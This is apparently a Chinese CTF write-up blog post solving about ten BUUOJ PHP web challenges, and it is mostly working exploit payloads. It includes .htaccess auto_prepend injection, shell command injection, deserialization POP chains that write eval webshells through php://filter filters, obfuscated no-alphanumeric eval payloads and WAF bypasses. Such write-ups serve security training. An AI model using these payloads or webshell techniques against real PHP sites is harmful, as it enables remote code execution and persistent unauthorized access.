BUUOJ-Web题目-14

[羊城杯2020]easyphp

[羊城杯 2020]Blackcat

[羊城杯 2020]Easyphp2

[羊城杯 2020]EasySer

[羊城杯 2020]Break The Wall

[红明谷CTF 2021]write_shell

Wallbreaker_Easy

[极客大挑战 2020]Greatphp

[ISITDTU 2019]EasyPHP

[EIS 2019]EzPOP

[羊城杯2020]easyphp

.htaccess绕过,利用反斜杠绕过字符串过滤,相当于直接写入到index.php的前面执行解析。

1
http://9fa046fa-29e2-4272-a1a0-9c7dfc9617f8.node3.buuoj.cn/?filename=.htaccess&content=php_value%20auto_prepend_fil\%0Ae%20.htaccess%0A%23%3C?php%20system(%27cat%20/fla%27.%27g%27);?%3E\

.htaccess相当于以下文件:

1
2
3
4
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\
Hello, world

image.png

[羊城杯 2020]Blackcat

下载MP3,010 Editor看音乐本身

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
}

echo exec("nc".$_POST['One-ear']);

本地启动一个环境;

目标是过掉函数hash_hmac;这里我们使用数组绕过。

image.png

然后算出结果就行了。注意这里flag在环境变量中。

1
White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=%3benv

image.png

[羊城杯 2020]Easyphp2

存在任意文件读取,似乎禁止了一堆过滤器,可惜没有禁止convert.quoted-printable-encode;所以我们可以得到GWHT.php的部分源码

1
<?php=0D=0A    ini_set('max_execution_time', 5);=0D=0A=0D=0A    if ($_COOKIE['pass'] !=3D=3D getenv('PASS')) {=0D=0A        setcookie('pass', 'PASS');=0D=0A        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');=0D=0A    }=0D=0A    ?>=0D=0A=0D=0A    <h1>A Counter is here, but it has someting wrong</h1>=0D=0A=0D=0A    <form>=0D=0A        <input type=3D"hidden" value=3D"GWHT.php" name=3D"file">=0D=0A        <textarea style=3D"border-radius: 1rem;" type=3D"text" name=3D"count" rows=3D10 cols=3D50></textarea><br />=0D=0A        <input type=3D"submit">=0D=0A    </form>=0D=0A=0D=0A    <?php=0D=0A    if (isset($_GET["count"])) {=0D=0A        $count =3D $_GET["count"];=0D=0A        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){=0D=0A        	die('hacker!');=0D=0A        }=0D=0A        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";=0D=0A    }=0D=0A    ?>=0D=0A=0D=0A</body>=0D=0A=0D=0A</html>

手动调整一下,让这个代码稍微能看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
ini_set('max_execution_time', 5);

if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>

<h1>A Counter is here, but it has someting wrong</h1>

<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="submit">
</form>

<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

先判断cookie,然后再执行count;

设置了一个执行时间,需要得到环境变量的值;

然后看看robots.txt文件,得到提示check.php,查看文件后得到密码为GWHT

然后我们构造payload,用tee命令把中间执行结果带出来到合适的文件中,就可以成功得到命令执行内容了。

1
/GWHT.php?count='+|+cat+/GWHT/README+|+tee+/tmp/info.txt+|+grep+'

实际上还可以写入shell,文件包含之后用蚁剑解决。

我们这回使用这个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
GET /GWHT.php?count='+|+echo+-n+"base6"+|+tee+-a+/tmp/b11.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

GET /GWHT.php?count='+|+echo+-n+"4%20-d"+|+tee+-a+/tmp/b12.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

GET /GWHT.php?count='+|+cat+/tmp/b11.txt+/tmp/b12.txt+|+tee+/tmp/b4x.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

GET /GWHT.php?count='+|+echo+"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4="+|+bash+/tmp/b4x.txt+|+tee+/tmp/real.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

http://4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn/?file=/tmp/real.txt

蚁剑连接,发现疑似flag,权限不够

1
/GWHT/system/of/a/down/flag.txt

/GWHT/README中发现哈希值,somd5解密得到

1
2
877862561ba0162ce610dd8bf90868ad414f0ec6
GWHTCTF

应该需要使用su提权来读取,但是蚁剑的shell没法输入密码,很坑,所以就只能跳过这一步了,直接用env命令拿到flag

image.png

[羊城杯 2020]EasySer

robots.txt可以知道存在文件star1.php,进去之后发现是一个嵌套的百度

F12后看见要进入ser.php,那么我们换个协议进去,没想到这里使用http协议,没别的东西。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';

class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;

}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}

?>

看起来是个反序列化,但是没入口点,查WP后知道原来有个入口点c。。。。离谱

写入Payload

1
c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}

连接上根目录找flag完事

[羊城杯 2020]Break The Wall

先拿到phpinfo,进行观察

然后发现flag在phpinfo里面有。。。不过这个显然不是正规的做法,不过可以先交上去

现在我们来看看正规的流程

首先判断能否用蚁剑的绕过disable_functions,发现没用

不过,我们现在拿到了wp,所以我们可以给蚁剑写个脚本来完成对版本低于7.4.8的利用。

这个脚本会上传到我的github上面,同时会申请push到AntSword插件的主分支上。

总之,然后我们直接调用/readflag,我们就会神奇的发现居然没用。。。其他的命令可以正常输入输出

直接改Payload为env,我们就会发现,这个有用。。。

image.png

[红明谷CTF 2021]write_shell

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

数组拆分Payload直接拿Shell,然后蚁剑连接拿flag

1
http://e8e77821-2213-4a9c-a75b-28fa1169fe41.node3.buuoj.cn/?action=upload&data[1]=%3C?ph&data[2]=p&data[3]=%0A&data[4]=eva&data[5]=l(%22eva&data[6]=l($%22.%22\x5fPOST[cmd])%22.%22\x3b%22&data[7]=)?%3E

Wallbreaker_Easy

蚁剑直接PHP7_GC_UAF,秒掉

不过也有正常的做法

[极客大挑战 2020]Greatphp

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

应该是反序列化调用合适的参数来eval;这里需要绕过两个函数md5sha1,而且这里是完全相等才能绕过;

不会了,查题解得知可以用Error触发原生类的__toString从而达到绕过的目的,两个对象不一样就行

1
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

[ISITDTU 2019]EasyPHP

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

字符种类数需要小于等于13

先拿phpinfo;这里用的是[极客大挑战 2019]RCE ME的Payload

1
_=(~%8F%97%8F%96%91%99%90)();

很多函数被过滤了,不过也有挺多没被过滤;我们先来scandir(".");

1
2
3
print_r(scandir('.'));

((~%9b%9c%9b%9b%9b%9b%9c)^(~%9b%8f%9b%9c%9c%9b%8f)^(~%8f%9e%96%96%8c%a0%9e))(((~%9b%9b%9b%9b%9b%9b%9c)^(~%9b%9b%9b%9c%a0%9b%8f)^(~%8c%9c%9e%96%a0%96%9e))(~%d1));

得到文件名n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt

readfile或者show_source读取

1
2
3
show_source(end(scandir(.)));

((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

拿到flag

[EIS 2019]EzPOP

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

考虑到__destruct,我们肯定是先套一个类A,然后再根据函数名set,我们套一个类B;

在类B的set方法中,我们需要绕过exit,这里我们用PHP伪协议convert.base64-decode来绕过。

那么payload基本算是已经出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
$this->autosave = false;
$this->complete = 0;
$this->cache = array('11' => array('timestamp'=>'PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'));
}
}

class B {
public $options;

public function __construct($serialize,$data_compress,$expire,$prefix){
$this->options = array();
$this->options['serialize'] = $serialize;
$this->options['data_compress'] = $data_compress;
$this->options['expire'] = $expire;
$this->options['prefix'] = $prefix;
}

}



$ts = new B('strval',false,0,'php://filter/write=convert.base64-decode/resource=');

$tx = new A($ts,'init3.php',11);

print_r(urlencode(serialize($tx)));

echo "<br />";

print_r(serialize($tx));

?>

注意这个base64是4个一组的,需要拼凑数量。

连接shell,拿flag


BUUOJ-Web题目-14
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-14
Author
John Doe
Posted on
May 19, 2021
Licensed under